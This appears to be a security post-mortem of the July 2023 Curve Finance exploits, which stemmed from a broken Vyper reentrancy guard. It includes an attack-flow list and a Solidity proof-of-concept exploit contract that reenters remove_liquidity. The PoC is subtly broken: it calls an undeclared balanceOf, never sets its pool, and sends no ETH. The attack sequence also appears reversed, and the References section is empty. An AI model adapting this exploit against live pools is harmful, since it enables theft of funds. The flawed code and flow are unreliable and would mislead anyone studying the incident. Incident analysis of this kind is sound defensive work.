Overview

On July 30, 2023, multiple Curve Finance pools were exploited due to a reentrancy vulnerability in Vyper compiler versions 0.2.15, 0.2.16, and 0.3.0.

Root Cause

The Vyper compiler’s @nonreentrant decorator was malfunctioning in affected versions. The reentrancy lock storage slot was being incorrectly mapped, causing the guard to not trigger on reentrant calls.

@external
@nonreentrant("lock")
def remove_liquidity(...):
    # This should have been protected by reentrancy guard
    # but the compiler bug allowed reentrant calls

Attack Flow

  1. Attacker calls add_liquidity() on the vulnerable pool
  2. During the callback (via raw_call), attacker reenters remove_liquidity()
  3. The reentrancy guard fails to block the second call
  4. Pool state is inconsistent — attacker withdraws more than deposited

Proof of Concept

interface ICurvePool {
    function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external;
    function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts) external;
}

contract CurveExploit {
    ICurvePool pool;
    bool entered;

    function attack() external {
        pool.add_liquidity([1 ether, 0], 0);
    }

    receive() external payable {
        if (!entered) {
            entered = true;
            pool.remove_liquidity(pool.balanceOf(address(this)), [0, 0]);
        }
    }
}

Key Takeaway

This incident highlights the risk of relying on compiler-level security guarantees. The vulnerability existed not in the Solidity/Vyper source code but in the compiled bytecode. Auditing only the source code would not have caught this bug.

References